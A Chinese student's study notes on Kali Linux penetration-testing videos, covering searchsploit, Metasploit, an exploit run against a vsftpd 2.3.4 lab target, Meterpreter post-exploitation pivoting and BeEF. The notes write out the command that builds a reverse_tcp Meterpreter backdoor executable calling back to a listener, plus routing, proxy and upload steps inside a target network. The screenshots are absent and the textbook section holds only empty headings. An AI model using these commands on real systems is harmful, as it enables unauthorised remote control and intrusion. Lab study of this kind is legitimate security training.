一、Kali视频学习总结
(一)漏洞利用之检索与利用
1.searchsploit
可以借助关键词搜索漏洞信息以及漏洞对应的exp。例如,搜索wordpress:
可以看出它列出了所有的漏洞及对应的文件地址,如打开/usr/share/exploitdb/exploits/php/webapps中的9890.txt文件:
2.ikat
自动化开启不同的exp,等待目标访问中招。
3.termineter
旨在评估智能电表的安全性。
(二)漏洞利用之Metasploit基础
Metasploit在渗透测试中经常被用到。这套软件包括了很多工具,这些工具组成了一个完整的攻击框架。
1.启动服务
在Kali中使用Metasploit,需要先开启PostgreSQL数据库服务和Metasploit服务,然后就可以完整地利用msf数据库查询exploit和记录。使用命令如下:
$ service postgresql start /* 启动数据库 */
$ service metasploit start /* 启动metasploit */
如果不想每次开机都手工启动服务,可以配置随系统启动。
$ update-rc.d postgresql enable
$ update-rc.d metasploit enable
2.路径介绍
Kali中msf的路径为/usr/share/metasploit-framework。可以在文件夹中进行浏览,如对其模块进行浏览:
- auxiliary:辅助模块
- encoders:供msfencode编码工具使用,具体可以使用 msfencode –l。
- exploits:攻击模块,每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录下。
- payloads:其中列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
- post:后渗透阶段块,在获得meterpreter的shell之后可以使用攻击代码。比如常用的hashdump、arp_scanner就在这里。
3.基本命令
msfpayload
:用来生成payload或者shellcode。 搜索可以用msfpayload -l |grep "Windows"
命令进行查询; -o选项可以列出payload所需的参数。
msfencode
:msf中的编码器,早期用来绕过AV(杀毒软件),现在常用msfpayload与它编码避免exploit的坏字符串。
msfconsole
:开启metasploit的console。
4.测试示例:发现漏洞,搜索exploit
例如,对Linux靶机进行扫描:
可以看到21端口开放的是ftp服务,用的版本是vsftpd 2.3.4。该版本是否存在漏洞,在msf里用search vsftpd搜索一下。
发现有匹配项。
5.测试示例:选择exploit,查看参数。
进入exploit时发生点小问题,检查之后发现是自己输入错误,改正后正确进入。
查看参数,发现RHOST的参数还未设置,接下来为其设置参数set RHOST 222.28.136.171。
6.测试示例:选择payload
设置好之后,show options查看参数,发现没有要设置的参数了。
7.执行攻击
输入exploit即可进行攻击测试,如果成功,将返回一个shell:
此时可查看id,ip地址,还有一些文件信息等,可获取目标主机的权限。
(三)漏洞利用之Meterpreter介绍
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。
Meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大地丰富了攻击方式。其中有很多有用的功能,如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。常用的命令:
针对Windows操作系统,反向连接shell,使用起来比较稳定。
1.生成Meterpreter后门
打开msf,开启监听(选择exploit/multi/handler);在目标机器上执行door.exe;
msfpayload windows/meterpreter/reverse_tcp LHOST=222.28.136.234 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe /* 查看自己的IP地址为222.28.136.234,LHOST、LPORT为reverse_tcp的参数,可以在msf里查看到(记得把服务启动)*/
用use exploit/multi/handler来接收返回的连接。
设置reverse_tcp的LHOST、LPORT参数。
此时执行生成后门的命令。
生成了door.exe文件。
(四)漏洞利用之Metasploit后渗透测试
在跳板获取一定权限后需要积极地向内网主机权限发展,获取指定的目标信息,探查系统漏洞,借助msf已经得到的Meterpreter后门,可以使系列的操作更容易。
1.查看当前网卡、网段信息(使用ifconfig)。可查看到三个网卡,一个是本地网卡,另一个是我们能访问的网卡,还有一个网卡具有内网IP(访问不到,可以ping以下试试)。
2.添加路由表run autoroute -s 10.0.0.1可以使用msf中的模块跨网段攻击或扫描。可通过脚本autoroute快速添加。
3.开socket代理,通过使用auxiliary/server/socks4a模块,创建一个socks代理,可以为浏览器,sqlmap,nmap使用。通过代理即可访问内网计算机。
4.通过background和session -i可以自由切换进入session。
5.输入run可以看到在meterpreter上可以做的很多命令。
6.通过run post/可以看到后渗透测试模块。
7.获取内网信息run arp_scanner -r 10.0.0.1/24
8.也可以上传文件,做端口转发后进行后续测试,例如upload lcx.exe c:\传送文件到c盘根目录。
(五)漏洞利用之BeEF
1.在命令行下启动BeeFbeef-xss
2.假设被测试主机由于XSS漏洞请求到http://127.0.0.1:3000/demos/basic.html
此时页面左侧就会多出一项在线主机:
3.
4.
5.Proxy功能(代理功能)
选中目标主机,点右键,在菜单中选中Use as Proxy;然后在Rider选项卡中的Forge Request编辑并发送想要发送的内容。
6.BeEF默认是不加载Metasploit的,如果要使用Metasploit丰富的攻击模块,需要做些配置.
默认:
配置:
首先打开beef xss目录
保证此处IP等信息设置正确(不适用127.0.0.1,需使用本机IP),并修改Custom路径:
配置好后打开msfconsole,运行命令:
执行./beef -x
重新加载Metasploit的exploit模块
加载之后,重启下服务。
此时再访问以下之前的页面,发现无法连接,稍等片刻,使用默认用户密码登录进去。发现Metasploit下多了许多模块:
二、教材学习总结
(一)
1.
2.
3.
4.
5.
(二)
1.
2.
3.
4.
5.
(三)
1.
2.
3.
4.
5.